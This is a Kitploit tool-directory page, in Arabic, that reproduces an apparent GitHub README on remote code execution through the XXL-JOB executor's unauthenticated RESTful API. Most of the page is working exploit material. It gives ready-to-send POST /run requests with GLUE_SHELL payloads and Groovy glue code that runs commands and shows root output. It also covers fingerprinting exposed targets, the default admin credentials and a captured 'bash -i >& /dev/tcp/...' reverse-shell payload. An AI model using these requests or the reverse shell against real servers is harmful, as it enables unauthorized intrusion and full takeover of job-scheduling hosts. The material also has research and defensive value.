Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
xxl-job — xxl-job RESTful API RCE | Kitploit
أدوات/GitHubGitHub/jas502n/xxl-job
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubjas502n/xxl-job

xxl-job

xxl-job RESTful API RCE

عرض المستودع
73111منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

وصول غير مصرح به إلى RESTful API لمُنفِّذ xxl-job — RCE

باستخدام Console سجل التنفيذ، يمكن الحصول على نتيجة نجاح تنفيذ الأوامر:

مثال:

/joblog/logDetailPage?id=xxxx

عرض متغيرات بيئة JDK

root@kitploit:~
String var3 = System.getProperties().toString();
System.out.println(var3);

تنفيذ الأوامر

/jobcode?jobId=x

root@kitploit:~

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

    @Override
    public ReturnT<String> execute(String param) throws Exception {
        XxlJobLogger.log("XXL-JOB, Hello World.");
        String cmd = "whoami&&id";
        String var2 = new java.util.Scanner(new java.lang.ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next();
        System.out.println(var2);
        return var2;
    }


}
root@kitploit:~
----------- JobThread Exception:org.codehaus.groovy.runtime.typehandling.GroovyCastException: Cannot cast object 'uid=0(root) gid=0(root) groups=0(root)
' with class 'java.lang.String' to class 'com.xxl.job.core.biz.model.ReturnT'
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.continueCastOnSAM(DefaultTypeTransformation.java:415)
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.continueCastOnNumber(DefaultTypeTransformation.java:329)
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.castToType(DefaultTypeTransformation.java:243)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(ScriptBytecodeAdapter.java:615)
	at DemoGlueJobHandler.execute(script16251277854351238137335.groovy:13)
	at com.xxl.job.core.handler.impl.GlueJobHandler.execute(GlueJobHandler.java:26)
	at com.xxl.job.core.thread.JobThread.run(JobThread.java:152)

XXL-JOB <= 2.2.0

إحصائيات الأصول الخارجية عبر fofa

Burpsuite

root@kitploit:~
POST /run HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 365
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "open -a Calculator",
  "glueUpdatetime": 1586629003727,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}
root@kitploit:~
HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 12

{"code":200}

الصفحة الافتراضية للمنفذ 9999

root@kitploit:~
http://127.0.0.1:9999/

HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 61
connection: keep-alive

{
  "code": 500,
  "msg": "invalid request, HttpMethod not support."
}


POST

POST / HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 63

{
  "code": 500,
  "msg": "invalid request, uri-mapping(/) not found."
}

الاكتشاف السريع للأجهزة المستهدفة عبر بصمة رسائل الخطأ

root@kitploit:~
POST /run HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


root@kitploit:~
HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 646

{
  "code": 500,
  "msg": "request error:java.lang.NullPointerException
	at com.xxl.job.core.biz.impl.ExecutorBizImpl.run(ExecutorBizImpl.java:49)
	at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.process(EmbedServer.java:201)
	at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.access$200(EmbedServer.java:138)
	at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler$1.run(EmbedServer.java:166)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:745)
"
}

واجهات API أخرى

src/main/java/com/xxl/job/core/server/EmbedServer.java

root@kitploit:~
        private Object process(HttpMethod httpMethod, String uri, String requestData, String accessTokenReq) {

            // valid
            if (HttpMethod.POST != httpMethod) {
                return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, HttpMethod not support.");
            }
            if (uri==null || uri.trim().length()==0) {
                return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, uri-mapping empty.");
            }
            if (accessToken!=null
                    && accessToken.trim().length()>0
                    && !accessToken.equals(accessTokenReq)) {
                return new ReturnT<String>(ReturnT.FAIL_CODE, "The access token is wrong.");
            }

            // services mapping
            try {
                if ("/beat".equals(uri)) {
                    return executorBiz.beat();
                } else if ("/idleBeat".equals(uri)) {
                    IdleBeatParam idleBeatParam = GsonTool.fromJson(requestData, IdleBeatParam.class);
                    return executorBiz.idleBeat(idleBeatParam);
                } else if ("/run".equals(uri)) {
                    TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);
                    return executorBiz.run(triggerParam);
                } else if ("/kill".equals(uri)) {
                    KillParam killParam = GsonTool.fromJson(requestData, KillParam.class);
                    return executorBiz.kill(killParam);
                } else if ("/log".equals(uri)) {
                    LogParam logParam = GsonTool.fromJson(requestData, LogParam.class);
                    return executorBiz.log(logParam);
                } else {
                    return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, uri-mapping("+ uri +") not found.");
                }
            } catch (Exception e) {
                logger.error(e.getMessage(), e);
                return new ReturnT<String>(ReturnT.FAIL_CODE, "request error:" + ThrowableUtil.toString(e));
            }
        }

TriggerParam

root@kitploit:~
{
  "jobId": 1,
  "executorHandler": "executorHandler",
  "executorParams": "executorParams",
  "executorBlockStrategy": "executorBlockStrategy",
  "executorTimeout": 1,
  "logId": 1,
  "logDateTime": 1,
  "glueType": "glueType",
  "glueSource": "glueSource",
  "glueUpdatetime": 1,
  "broadcastIndex": 1,
  "broadcastTotal": 1
}

ثغرة قديمة: XXL-JOB-admin — الحصول على Reverse Shell من لوحة الإدارة

(يتطلب حساب وكلمة مرور للوحة الإدارة، الافتراضي admin/123456)

/xxl-job-admin/src/test/java/com/xxl/job/admin/controller/JobInfoControllerTest.java

root@kitploit:~
  @Before
  public void login() throws Exception {
    MvcResult ret = mockMvc.perform(
        post("/login")
            .contentType(MediaType.APPLICATION_FORM_URLENCODED)
            .param("userName", "admin")
            .param("password", "123456")
    ).andReturn();
    cookie = ret.getResponse().getCookie(LoginService.LOGIN_IDENTITY_KEY);
  }

مركز جدولة المهام - إدارة المهام - إضافة

مُنفِّذ xxl-job

root@kitploit:~
POST /xxl-job-admin/jobinfo/trigger HTTP/1.1
Host: 10.20.24.99:8080
Content-Length: 64
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.20.24.99:8080
Referer: http://10.20.24.99:8080/xxl-job-admin/jobinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
Connection: close

id=2&executorParam=&addressList=http%3A%2F%2F10.88.105.53%3A9999

التقاط الحزم باستخدام Wireshark

root@kitploit:~
╰─$ sudo tcpdump port 9999 -w 9999.pcap
tcpdump: data link type PKTAP
tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
^C25 packets captured
349 packets received by filter
0 packets dropped by kernel

root@kitploit:~
10.20.24.99(任务调度中心 xxl-job-admin)  > 10.88.105.53:9999 (执行器 xxl.job.executor)
User-Agent: Java/1.8.0_60

bash -i \u003e\u0026 /dev/tcp/10.20.24.99/8989 0\u003e\u00261\n

bash -i >& /dev/tcp/10.20.24.99/8989 0>&1\n

root@kitploit:~
POST /run HTTP/1.1
Content-Type: application/json;charset=UTF-8
Accept-Charset: application/json;charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_60
Host: 10.88.105.53:9999
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 326


{
  "jobId": 5,
  "executorHandler": "",
  "executorParams": "",
  "executorBlockStrategy": "SERIAL_EXECUTION",
  "executorTimeout": 0,
  "logId": 13,
  "logDateTime": 1603865778890,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i \u003e\u0026 /dev/tcp/10.20.24.99/8989 0\u003e\u00261\n",
  "glueUpdatetime": 1603860395000,
  "broadcastIndex": 0,
  "broadcastTotal": 1
}



HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 12
connection: keep-alive

{"code":200}

ملاحظة: هذه الطريقة في الاستغلال قد كتب عنها أحدهم مقالًا في 2019.07.08 16:20:16 (https://www.jianshu.com/p/2d0974f33271)، ولا أفهم لماذا لم يُحذَّر منها إلا اليوم؟؟؟

الروابط المرجعية

https://landgrey.me/blog/18/

https://www.xuxueli.com/xxl-job/

تنزيل الأداة